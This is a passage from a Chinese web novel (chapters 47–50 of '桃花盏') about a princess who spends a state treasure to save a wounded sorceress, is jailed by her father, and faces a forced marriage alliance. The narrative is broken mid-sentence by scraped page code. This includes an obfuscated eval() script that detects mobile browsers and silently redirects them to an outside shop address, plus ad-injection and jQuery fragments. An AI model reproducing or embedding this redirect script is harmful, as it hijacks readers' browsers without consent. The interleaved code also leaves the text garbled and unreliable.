公主沉了目光,吩咐侍女将她抬上马车,“我答应救你,其余的以后再说。” 听到公主这样说,那人似乎松了一口气,松开手晕死过去。 仪仗重新出发,经历了一波三折,一行人的车马终于成功进京。 樱儿哆哆嗦嗦地望着被抬上车的血人,说话时牙齿都在打颤:“公主,她、她会死吗?” 公主摇了摇头:“我不知道。” 受了这样重的伤,这人无疑已是在鬼门关外徘徊,她虽会尽力救治她,但是最终能否醒来,还得看她自己能否挺过这一关。 马车行至宫门,公主让人直接将马车上已经去了大半条命的血人抬到自己宫里去,同时召集医官,命他们一同前去救治。 大祭司也从马车上走了下来,他目光阴沉地望着公主离开的方向,侧首问前来迎接他们的宫人:“陛下现在何处?” 那宫人也有些搞不清眼前的状况,正在纳闷被公主抬去自己殿中的血人是何来历,忽而听到大祭司发问,当即回道:“陛下此刻正在书房同大将军和护国修士们谈论军政要事。”想了想,他又补充一句:“这一次祭祀回来得如此之晚,早已误了吉时,陛下一直在等您回话呢。” 大祭司听完若有所思地嗯了一声,吩咐仪仗队伍将祭祀所用的东西各自归位,随后目光沉沉地朝书房而去。 按照规矩,除了古水国君之外,任何人的马车都是不得进入宫门的,可这些车驾中所摆放的都是祭祀之物,不得轻易挪动,因此破例让祭祀队伍中的马车踏上了长长的宫道。 夜色已深,人们的耳边只听得见宫车辚辚之声,悬挂在车檐底下的铜铃随着马车的前进有节奏地摇晃着,在寂静的夜空中荡开一圈又一圈的波纹。 祭祀随行的宫人们依旧安静地低垂着脑袋,小心谨慎地握着手中的宫灯,跟随马车一起鱼贯前行。 执灯的宫人皆是经过了重重的训练选拔出来的,在护送着祭祀物品到达目的地之前,他们手中的灯绝对不能熄灭。因此每个人的步伐都轻盈得仿佛足不点地,百余人的队伍,却没有发出一点脚步声。 与宫中的寂静形成鲜明对比的是灯火通明的公主殿。 此刻公主殿中挤满了医官,每位医官手中都拎着自己的药箱,梗着脖子红着脸互相争论着,正在共同为公主捡回宫中来的那个血人诊治。 热火朝天讨论了半晌,最后他们一致得出结论,这人没救了。 公主垂首望着被宣判没救的女子陷入沉思,沉思了一会儿,她对为首的医官令道:“取九魂草来。” 47. 桃花盏 医官令没有立即从命,而是扔了药箱跪伏在地,朝公主磕头道:“回公主殿下,九魂草乃古水国国宝,无君王令,臣等不敢擅取呀。” 公主再次望了一眼躺在她床上气息奄奄的女子,眸光流转间做下决定:“事急从权,你持长公主令即刻将九魂草取来,所有后果本公主一力承担。” 医官令闻言沉默了一下,只觉得应也不是,不应也不是。 他哆哆嗦嗦地抬眼望向公主,刚把头抬起来便瞧见公主的贴身侍婢将拟好且盖有印章的公主令递到了他的眼前。 这下是不想接也得接了。 他双手捧着公主令,站起身硬着头皮前往药苑。 古水国君膝下无子,偌大的后宫拢共只为他生了五个孩子,且这五个孩子全是公主。 在这种情况下,唯一的嫡长公主自然被他寄予了厚望。随着国君的年纪越来越大,生一个皇子的希望越来越渺茫,他对长公主的期望也随之反比例增长。 很多时候,他的确是在将长公主当成未来能够独当一面的继承人那般培养的,也正因如此,他赋予了这个女儿仅次于他的权力。 当他不在古水国都或因病不能上朝时,长公主甚至拥有监国理政之权。 这便是医官令的为难之处,若非公主有如此大的权力,他也不至于这般进退两难了。 要知道这位公主向来是个说一不二的性子,倘若他依令去取九魂草,事后固然有一定的概率保不住小命,但如果此刻违抗公主的命令,那么他现在立马就得摘下头上的乌纱帽,这医官令的位子马上就会换上一个胆大不怕死的人。 好在公主同时也是个一诺千金的人,她既已承诺所有后果由她一力承担,又给了他盖有印章的公主令,那倒的确可以事急从权。反正陛下即便追究也追究不到他的头上来,万事有公主在前面顶着。 这么想着他倒也觉得自己的小命和乌纱帽都可以同时保住,于是没有耽误,麻利地将九魂草从药苑取了过来。 古水国圣药九魂草,顾名思义长有九片叶子,每片叶子代表一魂,每一魂入药都有不同的功效。有的如传说中那般能生死人肉白骨,有的却堪比绝世毒药,能以无色无味之毒杀人于无形。 这九片叶子并不会同时存在,而是每过百年按照顺序长出一片,百年前的那一片若未采摘则会自动凋零。因此那些说古水国镇国之宝每过百年都会开出一朵生死人肉白骨的花儿的传言并不尽然,实际上有如此功效的圣药每九百年才会长出一片,比传言中的更为珍贵稀少。 “也算是天无绝人之路,今年九魂草长出的新叶正好是能救命的那一片,如若不然我也没有法子了。”公主接过医官令手中的九魂草,一边说着,一边将叶子摘下,直接塞进了那气息奄奄的女子嘴里。 这番操作让在场的医官都看呆了眼,想说公主这救人的法子未免也太简单粗暴了些,转念一想却又觉得那女子的情况实在危急,确实是没有时间等他们取下叶子进行处理后再慢慢入药,恐怕到时叶子还没有处理完,这女子就一命呜呼了。 顿时又觉得自家公主真是果敢英明,对她的佩服又多了几分。 只是九魂草的药性实在太过霸道,那女子伤得如此之重,也不知能否承受得住。最后还是医官令望着光秃秃的九魂草犹豫了几下,说出了大家的担忧。 “九魂草已取,还魂叶已摘,此时所有的担心都是无谓之举。”公主不愧是公主,公主很想得开。如若说方才她的语气里还有些担忧之意,此刻她的语气中已尽是淡然:“我们已尽人事,现在全看她自己能否挺过来。” “将它放回药苑中去吧。”低头把手中已没有叶片的九魂草递给医官令,她悠悠道:“但愿她不要浪费了我们的九魂草。” 医官令刚垂首接过九魂草,便听见大殿门口传来一阵骚动,一串又一串的脚步声响起。 随着脚步声一同响起的,是一声响亮的陛下驾到。 他知道今夜公主殿中动静太大,陛下一定会来,却没有想到陛下会来得如此之快。 他甚至还没有来得及将九魂草还回药苑。 现在这九魂草在他怀中如同一个烫手山芋,扔也不是不扔也不是,他一边在心里哀叹自己命怎么这么苦,一边抓准时机在国君踏进殿中来的前一秒缩到了公主身后去。 有事公主顶着。 他抱着九魂草闭上眼睛开始祈祷上天让他保住小命熬过今晚。 “孤还没有死。”古水国君锐利的目光扫过跪了一地的医官们,最后锁定在了躲在公主身后瑟瑟发抖的医官令身上,“你越过孤擅自去取九魂草,是不想要医官令一职了,还是不想要你的命了?” 这番话可以说是十分严重了,倘若应对不当真有可能立即丢了小命,医官令抹了把冷汗咽了口唾沫,哆哆嗦嗦准备回话,却听公主抢先一步道:“回父皇,医官令取九魂草是奉了儿臣之令,一切罪责儿臣甘愿承担。” 古水国君将目光从医官令身上移开,转而望向公主。 他紧闭着双唇没有说话,只是用目光审视着她,眼神如同一柄利刃,上面淬满了怀疑与猜忌。 公主顶着这样的目光却也没有退缩,站在原地一动不动,仰着脑袋与她父皇对视,丝毫没有下跪服软之意。 跟随国君来到此处的大祭司站在一旁,将双手都拢在肥大的袖子里,冷眼旁观着眼前这一幕,倒觉得此刻父女二人无比相像。 至少脾气是一般无二的。 良久,古水国君才冷冷地道:“孤还没有追责你耽误吉时、损毁金鸾之事,你反倒变本加厉窃取镇国宝物。拿着孤赐予你的公主令,准备造反吗?” 这话说得比方才还严重,在场所有人都将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724655|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋低了下去,连呼吸都小心翼翼不敢发出声音,生怕一个不小心触怒国君。 公主却没有回他的话,而是挑了挑眉,转首扫了一眼立在阴影中的大祭司,“您这么快就知晓了京郊之事,看来大祭司的腿脚果然够快。” “放肆!”古水国君似是没有想到向来乖巧懂事的女儿一夕之间竟会变得如此跋扈,瞪着眼狠狠扇了她一巴掌,“来人!收了她的令牌,撤了她的封号,将她押入牢中,待孤查清今日之事再治她的罪!” 公主被他这一巴掌扇得踉跄着后退了好几步,饶是如此,她的气势也丝毫不减,捂着脸扫了一眼拥上来准备捉拿她的侍卫,她低声喝道:“谁敢动本宫!” 这一声倒当真喝退了他们,侍卫们与公主保持着距离,看一眼她,又看一眼身后铁青着脸的古水国君,犹犹豫豫的不敢动。 此刻古水国君的脸色已黑得不能再黑,他简直不敢置信,有人竟敢当着这么多人的面挑战他的权威:“所以你是当真要反了不成?” “儿臣不敢。”公主抬头直视着他,嘴上说着不敢,语气却比她挺直的腰杆还硬:“只是儿臣以为,既然九魂草已用,此刻您再如何追究儿臣的责任也无法令它复原,倒不若将希望寄托在服用了还魂叶的人身上。” “公主说将希望寄托在谁身上?”大祭司原本想忍的,可是下午托公主的福,让他经历了如此坎坷的回京之路,现在又听她如此说,终于还是忍不住插嘴:“您是让我们将整个古水国的希望寄托在那个来历不明身负重伤还不知道能不能醒得过来的异国人身上?” 公主并没有理会大祭祀的质问,仍旧看着古水国君,不卑不亢地道:“儿臣看重她,也相信她的实力,因此愿意赌一把。此人若能醒来,我会亲自与她谈话,让她成为古水国的护国修士,如此一来便可暂缓我们被敌国兵临城下的燃眉之急。”说到这里她停顿了一下,再次强调道:“况且,儿臣已将还魂叶给她服下,此刻您除了陪儿臣一起赌,没有第二条路。” 古水国君听完两眼一黑,趔趄了一下,被大祭司扶住。 “你这是在威胁孤?”他思考了一下,很确信他的确是被威胁了,于是瞬间将声音提了上去:“你竟敢威胁孤!” 更加令他难以接受的是,虽然她是在威胁他,但这些大逆不道之言又确实很有道理。还魂叶已经被用,他此刻不论如何生气都已无济于事,除了将希望寄托在那个用了还魂叶的人身上,他确实没有第二个选择。 “好,很好。”他冷笑着点了点头,望着眼前令他感到陌生的女儿,“那你便在这里看着她能否醒来,醒来之后能否为我们所用。” 语毕,他下令让侍卫们守住整座公主殿,在那人醒来之前不许任何一人离开宫殿,“待她醒了之后,立即向孤禀报,至于庆安公主,立即将她押往牢中待审,不得有误。” 48. 桃花盏 时空长河之外,青鸾注视着眼前发生的这一切,在听到庆安公主的名号时,转头望向一旁的瑾瑜。 其实在瑾瑜让时光逆流到三百余年前的古水国时她便已经猜到,时光长河中的那位公主想必就是传说中的庆安公主宫北乐。 她曾在婴垣的记忆中听旁人提起过这位庆安公主,三百多年过去了,如今古水镇中还会举行公主祭,百姓们还会在特定的日子里悼念这位留名青史的亡国公主。 不过,瑾瑜为何要让他们来看这位公主生前的事迹呢?她们之间又有什么关系呢? 青鸾注视着瑾瑜,思来想去觉得只有一种可能。 不待她开口,忘忧率先问道:“师父,您方才问我所说的之后是多久之后,所谓从前又是多久之前……难道说,那庆安公主便是您的前世?” 瑾瑜点了点头,无言地证实了她的猜想,又闻忘忧继续道:“那么……那个被公主带回宫的樱儿,是婴垣的前世吗?” 似乎是欣慰于徒儿的悟性,瑾瑜扬唇一笑,拂袖加快了时间的流逝,“今生许许多多的纠葛,往往来自于前世未了结的缘分。现在我已逐渐了悟,一切发生在自己身上的事情,无一没有起因,无一不是善缘。继续往后看吧。” 她这一拂袖便将时间加速到了一个月后。 躺在庆安公主殿中的那个女子,整整昏睡一个月才醒了过来。 睁开眼的一瞬间她便下意识坐了起来,陌生的环境让她在醒过来的下一秒就进入戒备状态。蹙眉观察自己身处之地时,正好瞧见端着碗走进来的宫北乐。 宫北乐看见她醒过来的第一反应是扬了扬手中的碗,冲着她歪头一笑:“你终于醒过来啦,恭喜你,终于可以吃饭,不用再喝这比水还稀的粥啦。” 阳光泼墨挥洒,穿透殿中的重重纱帘,以一种婉转的姿态落在宫北乐的脸上,衬得她的五官有一种朦胧而又明亮的美。 双手撑在床上的人怔怔地注视着她,在看见她笑颜的一瞬间,感受到以前从来不曾体会过的温暖。 就好像从来没有见到过太阳的人,第一次如此真切地触碰到了阳光,她有些别扭地将头转了过去,不肯再看宫北乐。 女孩身上的光,对于她来说似乎有些太刺眼了。 “你怎么啦?”宫北乐自是浑然不觉对方的心路历程,招了招手示意宫人将她手中的碗取走,换一副新的菜式来。她自己则上前几步,朝床上的人凑了过去,“我叫宫北乐,你叫什么名字。” 女子一直保持着一种别扭的姿势坐在床上,墨发从她的肩头滑落,遮住了她的眉眼。她的声音听起来有些闷闷的:“你可以叫我绿蚁。” “绿蚁?好奇特的名字。”宫北乐反复咀嚼着女子的名字,见她似乎不愿再说话了,便也坐到了床上去,注视着对面的绿蚁笑了笑,“那吃饭吧。” 宫人换来新菜式的速度很快,便在二人谈话间的这么一小会儿工夫,他们就已将小几放在了床上,井然有序地摆放着供伤患食用的药膳。 虽然菜式清淡,但的确比宫北乐一开始端上来的稀粥要好上许多。 “快吃吧。”见绿蚁不动,宫北乐夹了一小块肉放进她的碗里,“这一个月你喝的都是稀粥,这哪里是人过的日子。我要是你,天天被人往嘴里灌没有味道的稀粥,早就逼着自己醒过来了。” 她说这话是想逗绿蚁笑,可是绿蚁闻言虽然将头转过来了,冰霜般的脸上却仍旧没有丝毫笑意,“是你救了我,你想让我如何报答你。” 宫北乐放下筷子,一手撑着桌子,一手撑着自己的脑袋,她倒也没有同对方客气,直接提出要求:“我想让你做我们的护国修士,至少护古水国三年无虞,你可能做到?” 绿蚁也没有同她客气:“只是三年无虞?” 从语气里多多少少能够听得出来,她似乎觉得这个公主很没志向。 宫北乐望了她一阵,然后叹了口气:“你恐怕还不知道古水国的现状,内忧外患,亡国之危,说的就是我们了。若真能够撑三年,那已经是一件很了不起的事啦。” 绿蚁闻言,沉默地扫视了一圈自己所处的宫殿,然后说:“看你吃的住的如此奢华,还以为你们国富民强呢。” 这一番话直接让宫北乐无言良久,她尴尬地抽了抽嘴角,感慨此人说话真是十分犀利。 但听绿蚁又道:“三年,我答应你。” 顿了顿,她问:“不过你我素未谋面,即便我答应了你,你难道便肯相信我能在这亡国之际护你们三年无虞?” 宫北乐的眼睛忽闪忽闪的,里面好像盛着会发光的星子。 她就这样撑着脑袋水汪汪地注视着绿蚁,看得绿蚁心头一动,好像因着她的注视,心中莫名其妙塌陷了一处柔软的地方。 “我拿古水国的镇国之宝赌你能够醒来,如今也不过是拿古水国的未来国运,继续赌你能否护这个国家三年无虞。”宫北乐说这番话时,声音里有着不符合她这个年纪的沉稳:“你身上受的这些伤,足以让修为低下的人死一万次,也足以让心志不坚的人死一万次。可是你没有死,你挺了过来。” “所以我愿意拿九魂草救你,也愿意去赌,赌你是个修为高深且心志坚毅之人。”说到这里,宫北乐摊了摊手,“倘若一个修为高深且心志坚毅的人都护不了这个国家三年,那么活该它灭亡,这也是没有办法的事。” 这回轮到绿蚁唇角抽搐了,此刻她有点搞不清楚宫北乐到底是想要挽救这个国家,还是希望它快点灭亡。 便当作她是想挽救这个国家吧,绿蚁捋了捋思路,问她最后一个问题:“为什么是三年?” 一个即将灭亡的国家,被打得毫无反击之力,接连丢失城池,造成眼前这个情况的原因绝非只有一个,其积弊也绝非一朝一夕。 这样一个即将被敌国吞入腹中的国度,难道三年之后便能自己焕发出生机,变成一个强大的国家吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绝对是不可能的。 宫北乐自己也回复得很没有底气:“我曾解读过开国大祭司留下的预言。他在世时曾预见过古水国未来国运,虽然看不真切,但他知晓百年之后古水国会有今日一劫。” “饿殍遍地,尸横遍野,他说这是自立国以来最民不聊生的一个时期。” “不过,按照他的预言,再过三年这一段恐怖的时期就要结束了。到时百姓们便不再饱受战乱之苦,可以安居乐业。” 绿蚁听完再次陷入沉默。 看得出来宫北乐的确从头到尾都在赌,先赌九魂草能不能让她醒来,再赌她醒来之后能不能护这个国家三年,最后赌三年之后大祭司的预言能不能成真。 可谓一场豪赌。 真不是绿蚁想泼她的冷水,只是这赌徒心理未免太重,太过不切实际。 考虑了一下之后,她还是泼了一盆冷水:“那位大祭司有没有告诉你,这三年的时间里该做些什么,才能让百姓们结束战乱之苦,自此安居乐业?” 宫北乐闻言眸光暗了一暗,不过脸上依旧挂着笑容:“没有,大祭司的预言很模糊,他只预言了一个时期,这个时期的百姓过得很苦,不过三年之后这一切便能结束。” 说完她再次对着绿蚁鼓励地一笑:“至于要如何结束这一切,大祭司并没有说。那么,这三年古水国上下就拜托你啦,绿蚁大人。” “那你呢?怎么听起来像是要把烂摊子扔给我,你这个公主倒是要置身事外?”绿蚁挑眉。 宫北乐无辜地耸了耸肩,“可不是我要置身事外的,为了救你我擅自用了镇国之宝,如今要被我父皇关进牢里去了。”她冲立在身后的樱儿招了招手,“我走之后,你便跟着这位绿蚁大人吧。” 绿蚁有些不解:“你父皇这般待你,你还要费尽心思如此为他谋划?” 二人的谈话已近尾声,去向古水国君禀报绿蚁醒来的宫人也已归来,侍卫们持剑进殿围住公主,示意她自己动身前往天牢。 “你切记要好好吃饭,每天都要吃饱,这样才有力气实现承诺护此地三年。”被侍卫团团围住的宫北乐面不改色,离开之前,她最后对绿蚁道:“至于我,我是公主,从生下来开始便以万民养,因此我所做的一切并非单单为了父皇,更是为了养我的万民。” 说完她便转身离去,毫不拖泥带水,留下绿蚁对着空空的宫殿和一桌子菜发怔。 不得不承认,她被宫北乐这一番万民论给惊到了,不禁陷入沉思,如今这个世道,能有这样觉悟的公主实在是不多了。能够生养出这样一个公主,也许古水国三年之后果真有望崛起。 思索间,忽听身旁传来一个怯生生的声音:“绿蚁大人,您吃饭。” 绿蚁抬起头,对上樱儿一双热切的眼。 这个头发枯黄明显营养不良的女孩正在坚决贯彻着宫北乐离开前的最后一个嘱咐。 要好好吃饭,才能实现承诺护国三年。 49. 桃花盏 宫北乐被关进牢里不久,古水国君便亲自召见了绿蚁。 对于这个一来就将他们古水国圣药给用了的修士,他的确是颇为看重,对她抱有很高期待的。 不过用来检验绿蚁能否达到他期待的方式十分简单粗暴,那就是让绿蚁与其他三个护国修士轮番战斗,如若他们都不是她的对手,他便认可绿蚁的实力。 樱儿后来同宫北乐说起那一场战斗时,忍不住捂嘴偷笑。 让绿蚁与其他三个护国修士轮番战斗的法子是大祭司提出来的。 他的本意是想用车轮战消耗绿蚁的体力,并将本国最强的一位修士留在最后出手,让他通过观察前两轮的战斗找出绿蚁的缺陷,最后将她一举拿下。 他的这个心思在安排本国修士上场顺序时便暴露无遗了,只是他千算万算没有算到绿蚁根本不按套路出牌。 她亭亭立于斗场的最中央,宽大的绿袍随着风猎猎而动,让她整个人显得飘逸若仙。 下一秒这个仙子冲着对面的三个修士抬起手,掌心向上,轻轻地勾了勾手指,“你们三个,一起上吧。” 其余三人在国中向来是受到各方礼遇的,何曾遇到过这般挑衅,当即一拥而上,各自使出最强的杀招朝绿蚁攻去。 本以为绿蚁以一敌三将会面临一场苦斗,却没想到不过一招,她便将那三人同时击出场外。 那三人飞出老远狼狈地趴在地上,而她依旧站在原地,仍旧是那副飘逸若仙的模样,甚至连步子都没有挪动一下。 眨眼之间胜负已分,大祭司在现场看傻了眼,古水国君则立即起身鼓掌,“好啊,绿蚁大人果然修为高深,真了不起。自今日起,你便是古水国的第一护国修士!” 对于这个结果绿蚁倒是毫不意外,她自此心安理得地做起了古水国的第一护国修士,开始兑现对宫北乐的承诺。 至于曾经的庆安公主,如今却正在牢狱之中等待着父皇对她的审判。 古水国君将调查公主叛国罪行一事交给了大祭司去办,大祭司的手脚很是麻利,不出一月的工夫便将那叛国之罪证据确凿地给定了。 定罪之后,紧接着便该是昭告天下定刑问责,可是流程刚走到定罪的这一步就被古水国君压下,迟迟没有宣判。 这一段时间他都没有见过宫北乐,也不许任何人前去探视。 在大祭司将公主的一应罪行整理成卷宗呈上来的时候,他决定亲自去见一见这个突然就叛逆了的女儿。 曾经高高在上的嫡长公主,一夕之间沦为阶下囚,他在她的脸上却没有看到丝毫挫败与狼狈。她坦然地坐在囚牢中,坦然地迎接着自己的命运。 “这一段时间你可曾想通了什么,有没有什么想对孤说的。”古水国君立在牢房外,他想她应当听得明白,这一番问话已是他对她最大的退让。 她抬起头,望着将自己打入大牢的父皇:“我只有一个问题,那些作为证据将我定为叛国之罪的祭祀华服和金鸾都被赎回来了么?那些难民都有饭吃了么?” 古水国君立在阴影当中,眯起眼注视着她,过了许久才发出一声冷笑:“宫北乐,你不必做出这副样子,好像你有多么爱国爱民,而孤却是个横征暴敛的昏君。” “国家大事,往往牵一发而动全身,哪里是你这闺阁女儿想的那般容易。就好比祭祀之事,你倒是逞了一时之快,最后却累得孤替你收拾烂摊子。” 他这一开口倒像是打开了话匣子,越说越控制不住,将自己在位以来的委屈倾泻而出。 “朝廷上下,利益纠葛盘根错节,那大祭司更是三朝老臣,你有几个胆子又有几分底气敢当众向他挑衅?” “眼下古水国的确是被打得节节败退,孤有眼睛,孤看得到百姓正在饱受战乱之苦。可是孤坐在这个位置上,所做的每一个决定都不能只顾某一个方面某一群人。难道眼前的局面是孤一人造成的么?你,你们所有人,又何曾懂得孤的处境孤的难处!” 宫北乐平静地听着父皇宣泄自己的情绪,她仍旧用那双明亮的眼睛注视着他。便是这一双亮堂得好似容不下一丝污秽的眼睛,让她的老父亲如此破防。 待他发泄完毕,停下来微微喘气时,她轻轻地道:“父皇所言儿臣明白,不过徐徐图之只在我们尚有时日之时。如今的境遇,难道还不值得父皇壮士断腕么。” 她的声音柔软却有力量,好像他所说的一切难处都是有办法解决的,好像他所宣泄的所有为难都是一个君王无能的表现。 她说的这一番话击倒了他一直以来拼命维护的自尊,于是他阴沉着脸自阴影中走出,对被囚禁在牢中的女儿道:“徒有一副伶牙俐齿是不能挽救自己的国家于水火之中的,你作为孤的女儿,身为古水国的公主,的确是该有所行动,为供养你的国家做些什么了。” 他这些话说得极有目的性,宫北乐瞬间反应过来:“你想要让我去和亲?” 分明已将她打入大牢,大祭司也早已整理出证明她有罪的卷宗,可古水国君迟迟不曾展开下一步行动,原来竟是因为这个。 “你的反应倒快。”见宫北乐瞬间猜出他此番亲自前来的原因,古水国君便也不再藏着掖着,直接道:“你方才说的那一番话,倒教孤明白了从前做得不对的地方。孤膝下没有皇子,看你还算稳重,便让你读书认字,懂得了一些道理,还给你权力,让你替孤分忧。可是孤没有想过,你毕竟只是个女子。” 说到这里,他颇为懊恼地叹了口气:“但凡孤有一个皇子,古水国便不是如今这个后继无人的局面了。你身为女子,读书识字又如何,手掌大权又如何,终归只是个小女儿家的心性,见识短浅,不顾大局。孤做过的唯一一件错事,便是让你识字给你权力,养得你现在不忠不孝,胆敢忤逆父皇。” 宫北乐却无意与他争辩,此刻与他争执这个于她而言毫无益处。 在知道他决定让自己去和亲之后,她便开始思索他意欲将她嫁往哪一国。 首先排除的两个国家是云黎和安槐,正是这两国结盟进攻前后夹击,才导致古 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 水国腹背受敌,接连丢失城池。 而古水国被掠夺的土地大多成为了云黎的国土,因此这一国与古水国可以说有着血海深仇,两国之战旷日持久,不死不休。 古水国君既然要让她和亲,想必是要利用她求取外援,如此便可排除掉周边实力不足的小国。 这样一来便只剩下了两个有一定实力且对这场战争保持中立的国家——久光与大元。 思索稍定,宫北乐仰头道:“父皇是想将我嫁给久光国那个尚在襁褓之中的太子,还是想让我嫁给与您年纪一般大的大元国君?” 却见古水国君笑了笑,捋着胡子道:“无论如何你也是孤的女儿,孤怎么会不希望给你指一个好郎君?你放心吧,此番和亲的对象是云黎国太子临越,他不过二十五六的年纪,生得俊朗不说,最重要的是贤德兼备,实在是难得的人选……” “您怎能将我嫁给他?”不待古水国君说完,宫北乐霍然起身:“结盟安槐进攻古水便是他一力主导的,如今古水国上下被他的势力浸透,宫中不知有多少他的细作,此人与我们何止是血海深仇,女儿怎能委身于他?” 古水国君冷哼一声:“你既然知道这些,便也该知晓临越实乃世所罕见的英才,且他身份贵重,眼看着便要成为云黎国下一任国君,你即便是嫁给他,也不能做他的正妻,而只能成为侧妃。别一副好像委屈了你的样子,这已是你天大的福气了。” 宫北乐缓缓摇头,她还是不能相信,父皇竟会做出如此愚蠢的决定。 深深吸了口气,她企图唤醒父皇的理智:“云黎国与古水国交战多年,固然我们有不少城池被云黎吞并,但云黎也有不少将士死在与我们的战斗当中,两国早已是死战的局面。难道我嫁给临越做他的侧妃,两国便能化干戈为玉帛,云黎便能放弃继续攻打我们了吗?” 她这一番追问有理有据,却听古水国君毫不在意地道:“现在情况正如你所言,舍你一己之身便能令两国止战。你不是爱将百姓子民挂在嘴上么,现在到了你为你口中的百姓做些什么的时候,你难道要退却吗?” 宫北乐后退两步,发髻上的玉钗随着她的动作滑落,砸在冰凉的地上应声而碎。 她的声音听起来也有些破碎:“父皇,如果我是临越,就会乘胜追击直接拿下国都,而不会因为一个公主就放弃这么多年的图谋。您有没有想过,即便您意欲将我嫁给他,他是否会同意这笔交易?即便他同意了,我们又要付出怎样的代价?” “孤自然想过,也比你清楚。”古水国君又是一声冷哼:“条件我们早已谈过,届时云黎将会退兵,而古水会成为云黎的附属国,每年缴纳贡品。这对于我们而言,已是最好的选择。” “至于临越是否会同意这笔交易,这你不必操心。毕竟想要让你和亲云黎成为他侧妃的想法,是他亲自提的。”说完最后这句话,他直接转身离去。 古水国君的意思已很明确,此番亲自同她交谈,并不是在与她商量,仅仅是通知她下半生的归宿而已。 50. 桃花盏 古水国君离开后,宫北乐垂下头立在原地静默良久。 狱中潮湿,有水滴滴答答地从屋檐跌落,原本很微小的声音,此刻在她听来却是无比刺耳。 便在这时,绿蚁的声音不期然响起:“你要在原地罚站到几时?” 宫北乐闻声回头,见到绿蚁的身影如一道轻烟自她身后浮现。 “你是怎么进来的?”宫北乐的第一反应是转身望向牢外狱卒,却见他们神色如常,好像根本就没有发现绿蚁闯进了这里来。 “不必紧张,我布了个禁制而已,他们不会发现任何异常。”绿蚁看见她这个反应,似乎是觉得有趣,平时清冷的声音里多了些起起伏伏的情绪:“至于如何进到这里来,我的法子有很多。你们牢中的一切布置对于我来说都只是摆设。” “知道你很厉害啦。”宫北乐撇了撇嘴,在简陋的石凳上坐下,还招招手示意绿蚁过来和她一起坐,“怎么样,护国第一修士做得还顺利吧?大祭司有没有找你的麻烦?” “他若是敢找我的麻烦,大可以掂量掂量自己全身的骨头有没有二两重。”绿蚁没有坐下,站在宫北乐旁边低下头俯视着她,“毕竟我不是你的父皇,根本不会将他三朝老臣的身份放在眼里。” 宫北乐抬起头与她对视:“方才我与父皇的谈话,你都听到啦?” 绿蚁点头:“都听到了。”顿了顿,她补充一句:“我在他之前来的。” 宫北乐没忍住扑哧一笑。 绿蚁望着她,面上浮现出不解的神色,“你还笑得出来?” 宫北乐反问:“我为何笑不出来?” “你都要和亲嫁给那个什么临越了。”绿蚁说话向来是很能戳人痛处的:“他不是挑起两国战争的主谋吗?他手上有那么多古水国人的血,你确定要嫁给他?” 宫北乐敛了笑意,手扶桌面站起身来,“士可杀不可辱,我是绝不会嫁给他的。” “那你预备怎么办?”绿蚁皱了皱眉,听宫北乐这话的意思,倒好像是打算自己给自己一个了结,“难道为了不嫁给他,你宁愿去死吗?” “是呀。”宫北乐回答得很干脆:“我宁愿去死,也不会嫁给他。” 绿蚁听到宫北乐的回复后脸上的不解之色更重了,她沉默了一会儿尝试理解宫北乐的脑回路,最终发现实在不能理解,于是问她:“那为什么一定是你去死,而不是别人去死呢?” “啊?”宫北乐听到绿蚁的问题也沉默了一会儿,不过她倒是能理解绿蚁的想法,理解之后忍不住拍手称赞,觉得强者的世界果然和她的不一样:“是耶,我怎么没有想到,其实也不一定要我去死呀!” 孺子可教,绿蚁欣慰地点了点头。 下一秒听见宫北乐兴奋地问:“所以你是有办法帮我杀了临越,让他去死吗?” 绿蚁:“……” 看见绿蚁的表情宫北乐才知道自己会错了意,她咬住下唇,有些尴尬地挠了挠脑袋,“不是临越啊,那你指的别人是谁呀?” 绿蚁注视着她,从嘴巴里冷冷地蹦出三个字:“你父皇。” 宫北乐惊讶捂嘴:“你要杀了我父皇?” 绿蚁看着宫北乐的反应,一边在心里腹诽这姑娘在别人面前也不是这样咋咋呼呼的性子呀,一边淡淡地道:“其实也不是杀了他,而是给他下一个咒,一个让他陷入昏睡的咒。” 说到这里,她略略加重了语气:“那就昏睡三年吧,是不是足够了?迎来你所说的那个转机。” 宫北乐飞速消化着绿蚁说的这些话,末了问出一个她觉得很关键的问题:“什么是咒?” 绿蚁倒也没有想到宫北乐最先问的会是这个,犹豫了一下,她还是选择了回答:“咒之一术最早来源于某些上古巫族,他们认为用特定的语言可以连通不同的世界,从而获得强大的力量。这些力量可以用来诅咒,也可以用于赐福。” “不过这样做的弊端十分明显,那就是以咒获得的力量并非源于自己。绝大多数时候咒师们并不清楚他们得到的力量来自于哪一个世界、哪一个种族,而这些未知的力量越是强大便越易失控,轻则反噬己身,重则危害四方。因此咒师大多会隐居起来,一旦暴露便容易招致杀身之祸,引来其他修士的追杀。” 宫北乐听懂了,于是有些同情地望着绿蚁:“所以你那日在京郊被人追杀,便是因为暴露了自己咒师的身份?” 绿蚁点了点头,她的神色倒很平静,一点也没有自怨自艾,三言两语将自己的身世一带而过:“我出身于一个隐居避世的巫族部落,自小便过着被那些自诩正义的修士们追杀的生活,早就习惯了。”顿了顿,她继续说道:“可是公主你呢,你是否能够接受接下来要过的生活?” 宫北乐很清楚绿蚁问的是什么。 倘若父皇真的自此昏睡不起,那么古水国一定会大乱。 首先便是以大祭司为首的朝中党羽,他们定然恨不得直接将她生吞活剥。 除此之外还有云黎国的军队正在虎视眈眈,一旦古水国君倒下的消息传了出去,他们也肯定会发动攻势将古水国拆解入腹。 内忧外患,生死存亡,不过如是。 如果选择了这一条路,那么她就要独自一人抵抗所有的势力,所以绿蚁问她,接下来将要面对的一切,她是否有胆色接受。 